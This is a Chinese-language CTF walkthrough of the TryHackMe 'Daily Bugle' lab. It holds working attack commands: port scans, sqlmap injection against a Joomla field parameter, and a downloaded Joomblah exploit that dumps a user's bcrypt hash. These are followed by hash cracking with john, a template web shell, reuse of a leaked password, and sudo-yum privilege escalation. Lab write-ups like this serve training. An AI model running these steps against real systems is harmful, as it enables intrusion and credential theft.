【THM】Daily Bugle-Practice

image-20240126094525725

image-20240126094548246

Obtain user and root

1
2
┌──(root㉿kali)-[~]                                                             
└─# nmap -p- -sC -sV -T4 10.10.205.185
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nmap scan report for 10.10.205.185                                              
Host is up (0.19s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_ 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Home
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3306/tcp open mysql MariaDB (unauthorized)

由扫描结果得知:目标站点使用的CMS应该是Joomla CMS,并且还开启了mysql服务

使用gobuster扫描目录

1
2
3
┌──(root㉿kali)-[~]                                                             
└─# gobuster dir --url http://10.10.205.185/ -w /usr/share/wordlists/dirbuster/
directory-list-2.3-medium.txt --no-error

image-20240126095315657

或者访问/robots.txt

image-20240126095211489

image-20240126095740294

使用joomscan针对目标站点进行扫描,joomscan是一个专门用于扫描Joomla CMS的工具。

1
2
joomscan -u http://10.10.205.185 #此处ip为目标ip
#也可以通过浏览器在线快速获取Joomla CMS的版本信息:直接访问10.10.205.185/language/en-GB/en-GB.xml即可。

image-20240126100143700

image-20240126100200572

https://www.exploit-db.com/exploits/42033

可以看到有sql漏洞

1
sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20240126104417853

1
sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --tables -D joomla

image-20240126104619600

1
sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --columns -D joomla -T '#__users'
1
2
sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -C username -D joomla -T '#__users' --dump
sqlmap -u "http://10.10.205.185/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -C password -D joomla -T '#__users' --dump

image-20240126105037217

image-20240126105050612

sqlmap太慢了

用另一个脚本

1
2
wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
python2 joomblah.py http://10.10.205.185
1
2
3
4
5
6
[-] Fetching CSRF token
[-] Testing SQLi
- Found table: fb9j5_users
- Extracting users from fb9j5_users
[$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
- Extracting sessions from fb9j5_session

查询上述hash值的加密方式( https://hashcat.net/wiki/doku.php?id=example_hashes )并使用john工具进行hash破解(需要提前将hash值保存为txt文件)

image-20240126102921599

1
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt

image-20240126104257489

image-20240126105224861

image-20240126110649697

访问

1
10.10.205.185/templates/beez3/index.php

image-20240126110916487

image-20240126111553261

我们在网站目录下的configuration.php文件中发现一个凭据:nv5uz9r3ZEDzVjNu

继续使用当前shell界面,尝试通过刚才获取的凭据来切换用户身份

image-20240126111925485

image-20240126112451823

image-20240126112538335

由上述结果可知:用户 jjameson可以以 sudo 身份运行 yum命令

image-20240126112701303

为了方便操作,我们可以通过ssh连接到jjameson用户(登录凭证和前面的相同),然后再复制以上提权命令到ssh界面直接执行,即可得到root shell。

image-20240126113042718

image-20240126113124167